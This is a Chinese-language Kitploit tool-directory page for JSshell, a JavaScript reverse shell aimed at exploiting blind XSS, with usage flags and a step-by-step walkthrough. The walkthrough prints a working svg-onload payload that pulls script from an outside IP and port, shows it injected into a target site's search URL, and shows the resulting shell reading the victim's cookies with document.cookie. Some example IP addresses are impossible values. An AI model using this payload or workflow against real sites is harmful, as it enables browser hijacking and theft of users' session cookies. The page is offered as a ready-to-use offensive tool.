Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/shelld3v/jsshell
Payload生成Web应用程序漏洞利用渗透测试远程访问工具
GitHubshelld3v/jsshell

JSshell

JSshell - JavaScript 反向/远程 shell

查看仓库
63111023年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

JSshell - 版本 3.1

JSshell

JSshell - 一个 JavaScript 反向 Shell。用于远程执行 JS 代码、利用盲 XSS 等。

要求:任意操作系统 + Python 2 或 Python 3

JSshell 版本 3.1 的新功能

JShell 3.1 新版本更新内容:

  • 新 JSshell 命令:snippet -> 允许编写一段 JavaScript 代码
root@kitploit:~
>>> snippet
Use CTRL+D to finish the snippet

function new() {
    new = 'New update: Support javascript snippet =)';
    confirm(new)
}

new()
>>> 
  • 静默模式(供专业人士使用)
  • 添加了 <body> 反向 Shell 载荷
  • 修复了一些错误

使用方法

生成 JS 反向 Shell 载荷:-g

设置用于监听和生成载荷的本地端口号(默认:4848):-p

设置用于生成载荷的本地源地址(默认:自动检测你的 IP 地址):-s

设置 shell 连接的超时时间(如果用户退出会话,shell 将永久暂停,因此如果你设置了超时时间,shell 在超过该时间后会自动关闭):-w

获取 shell 后执行一条命令:-c

使用示例:

  • jsh.py
  • jsh.py -g
  • jsh.py -p 1234
  • jsh.py -s 48.586.1.23 -g
  • jsh.py -c "alert(document.cookie)" -w 10

运行 JSshell 的示例:

这是一个逐步使用 JSshell 的示例。

首先,我们需要生成一个反向 JS Shell 载荷并设置 shell 超时时间(例如 20 秒):

root@kitploit:~
~# whoami
root
~# ls
README.md   jsh.py
~# python3 jsh.py -g -w 20
    __
  |(_  _ |_  _  |  |
\_|__)_> | |(/_ |  |
                      v1.0

Payload:
<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>

Listening on [any] 4848 for incoming JS shell ...

现在将这个载荷粘贴到网站上:

https://vulnwebs1te.com/b/search?q=<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},1248)>

访问该页面,我们将获得反向 JS Shell:

root@kitploit:~
    __
  |(_  _ |_  _  |  |
\_|__)_> | |(/_ |  |
                      v1.0

Payload:
<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>

Listening on [any] 4848 for incoming JS shell ...
Got JS shell from [75.433.24.128] port 39154 to DESKTOP-1GSL2O2 4848
$ established
$ the
$ shell
$
$
$ help
JSshell using javascript code as shell commands. Also supports some commands:
help                  This help
exit, quit            Exit the JS shell
$

执行一些命令:

root@kitploit:~
$ var test = 'controlled'
$ confirm(test)
$

将会弹出一个警告框显示:controlled

root@kitploit:~
$ prompt(document.cookie)
$

浏览器将打印用户的 cookies:JSESSION=3bda8...

root@kitploit:~
$ exit
~# whoami
root
~# pwd
/home/shelld3v
~#

现在退出了!

作者

由 shelld3v 创建!

下载工具